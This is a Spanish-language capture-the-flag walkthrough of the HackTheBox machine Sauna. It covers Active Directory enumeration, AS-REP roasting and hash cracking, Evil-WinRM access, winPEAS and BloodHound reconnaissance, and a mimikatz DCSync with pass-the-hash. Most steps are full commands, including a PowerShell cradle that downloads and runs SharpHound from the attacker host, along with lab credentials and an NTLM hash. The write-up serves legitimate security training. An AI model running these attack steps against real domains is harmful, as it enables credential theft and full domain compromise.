Volver atras HTB_Sauna | Savinotes

HTB_Sauna

Sauna {-}

Introduccion {-}

La maquina del dia se llama Sauna.

El replay del live se puede ver aqui

S4vitaar Sauna maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.175

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.175

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p53,80,88,135,139,289,445,464,593,636,3269,5985,9389,49667,49673,49674,49677,49689,49698 10.10.10.175 -oN targeted
PuertoServicioQue se nos occure?Que falta?
53domainDomain controller rpcclient null session
80httpWebFuzzin
88Kerberosasproasting attacklista de usuarios validos
135msrpc
139netbios
389LDAPBloodhoundcredenciales
445smbNull session
464kpasswd5?
593ncacn_http
636tcpwrapped
3268ldap
3269tcpwrapped
5985WinRMevil-winrmcredenciales
9389mc-nmfPuertos por defecto de windows
49667msrpcPuertos por defecto de windows
49673msrpcPuertos por defecto de windows
49673msrpcPuertos por defecto de windows
49674ncacn_httpPuertos por defecto de windows
49677msrpcPuertos por defecto de windows
49689msrpcPuertos por defecto de windows
49698msrpcPuertos por defecto de windows

Analyzando el SMB {-}

crackmapexec smb 10.10.10.175
smbclient -L 10.10.10.175 -N
smbmap -H 10.10.10.175 -u 'null'

Vemos que estamos frente de una maquina Windows 10 que se llama SAUNA en el dominio EGOTISTICAL-BANK.LOCAL con un certificado firmado. Añadimos el dominio al

 /etc/hosts 

. Tambien vemos que no podemos ver los recursos compartidos a nivel de red con un null session.

Buscando ususarios con rpcclient y rpcenum {-}

rpcclient -U "" 10.10.10.175 -N

rpcclient $> enumdomusers

Podemos conectar pero no nos deja ver usuarios del directorio activo.

Kerbrute {-}

git clone https://github.com/ropnop/kerbrute
cd kerbrute
go build -ldflags "-s -w" .
upx kerbrute
./kerbrute userenum --dc 10.10.10.175 -d egotistical-bank.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.175

Es un IIS 10.0

Checkear la web {-}

Si entramos en la url

 http://10.10.10.175 

, Vemos una pagina Egotistical Bank. Navegando por el

 about.html 

vemos usuarios potenciales. Vamos a recuperarlos con bash

curl -s -X GET "http://10.10.10.175/about.html"
curl -s -X GET "http://10.10.10.175/about.html" | grep "p class=\"mt-2"
curl -s -X GET "http://10.10.10.175/about.html" | grep "p class=\"mt-2" | grep "Fergus Smith" -A 100 | html2text > users

Modificamos el fichero users para crear nombres de usuarios como

 fsmith 

,

 f.smith 

,

 frank.smith 

,

 smithf 

,

 smith.frank 

o otros y intentamos un asproasting attack.

Vulnerability Assessment {-}

Asproasting {-}

GetNPUsers.py egotistical-bank.local/ -no-pass -usersfile users

Aqui vemos un hash para el usuario

 fsmith 

. Lo copiamos en un fichero

 fsmith_hash 

y intentamos romperlo con john.

Crackeando el hash con John {-}

john -wordlists=/usr/share/wordlists/rockyou.txt fsmith_hash

Validamos el usuario con crackmap exec

crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'

El usuario es valido pero no tenemos un Pwn3d. Checkeamos si es valido con winrm

crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'

Ademas de ser valido, aqui no pone un Pwn3d! que significa que podemos conectarnos con Evil-WinRM.

Vuln exploit & Gaining Access {-}

Coneccion con EVIL-WINRM {-}

evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
whoami
ipconfig
type ../Desktop/user.txt

Ya podemos leer la flag.

Privilege Escalation {-}

Rootear la maquina {-}

cd C:\Users\Administrator
dir
whoami /priv
whoami /all
net user

No tenemos ningun privilegio interessante, tenemos que reconocer el systema.

  1. Creamos un directorio para trabajar

    cd C:\Windows\Temp
    mkdir Recon
    cd Recon
  2. En la maquina de atacante no descargamos el WinPeas

    wget https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASx64.exe
    mv winPEASx64.exe winPEAS.exe
  3. Lo uploadeamos desde la maquina victima y lo lanzamos

    upload winPEAS.exe
    ./winPEAS.exe
    
    

    Aqui hemos encontrado unas credenciales para un autologon.

  4. Validamos el usuario desde la maquina de atacante

    crackmapexec win rm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
  5. Nos conectamos nuevamente con Evil-WinRM

    evil-winrm -i 10.10.10.275 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
    whoami
    whoami /priv
    whoami /all

    Nuevamente no encontramos nada muy interesante. Aqui tenemos que tirar de bloodhound

  6. En la maquina de atacante preparamos el bloodhound

    sudo apt install neo4j bloodhound -y
    neo4j console
    
    bloodhoud &> /dev/null & disown
    
    wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1
    python -m http.server 80
  7. Recolectamos data desde la maquina victima

    cd C:\Windows\Temp
    mkdir privesc
    cd privesc
    IEX(New-Object Net.WebClient).downloadString('http://10.10.17.51/SharpHound.ps1')
    Invoke-BloodHound -CollectionMethod All
    dir
    download 20210908210119_BloodHound.zip

Una vez el zip en la maquina de atacante, lo cargamos al BloodHound. Cargado vamos a la pestaña Analysis y miramos por

 Find Shortest Paths to Domain Admins 

pero no vemos gran cosa. Miramos el

 Find Principals with DCSync Rights 

y vemos que el usuario svc_loanmgr tiene privilegios GetChanges y GetChangesAll sobre el dominio EGOTISTICAL-BANK.LOCAL. Esto significa que podemos hacer un DCSync attack con este usuario.

DCSync Attack con mimikatz {-}

Buscamos el mimikatz en nuestra maquina de atacante

locate mimikatz.exe
cp /usr/share/mimikatz/x64/mimikatz.exe .
python -m http.server 80

Lo descargamos en la maquina victima y lo lanzamos para extraer el hash del usuario Administrator.

iwr -uri http://10.10.17.51/mimikatz.exe -OutFile mimikatz.exe
C:\Windows\Temp\privesc\mimikatz.exe 'lsadump::dcsync /domain:egotistical-bank.local /user:Administrator' exit

Ahora que hemos recuperado el Hash NTLM del usuario Administrator, podemos hacer un pass the hash.

evil-winrm -i 10.10.10.175 -u 'Administrator' -H 823452073d75b9d1cf70ebdf86c7f98e

Ya somos usuario Administrator y podemos leer la flag.